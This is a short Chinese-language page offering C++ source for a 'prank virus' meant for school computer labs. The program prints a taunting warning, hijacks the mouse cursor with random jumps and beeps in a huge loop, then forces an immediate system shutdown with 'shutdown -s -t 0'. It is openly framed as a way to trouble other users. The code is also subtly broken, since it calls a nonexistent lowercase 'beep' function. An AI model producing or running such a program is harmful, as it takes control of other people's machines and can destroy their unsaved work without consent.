跳到正文

休闲·娱乐

自制机房整活病毒

cpwh约 1 分钟
原文
文章信息与版本

文章信息

收录
2025年12月12日
更新
2026年5月3日
篇幅
约 1 分钟

版本

  1. v1当前
C++
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
int main() {
	cout << "这是一个坑人病毒,如果你不能及时关闭它,就会发生很危险的事";
	for (int i = 1; i <= 100000000; ++i) {
    	srand(time(0));
		int x=rand()%2000+300;
		int y=rand()%1200+300;
		SetCursorPos(x,y);
		beep(x + y);
	}
 	system("shutdown -s -t 0");
	return 0;
}
原文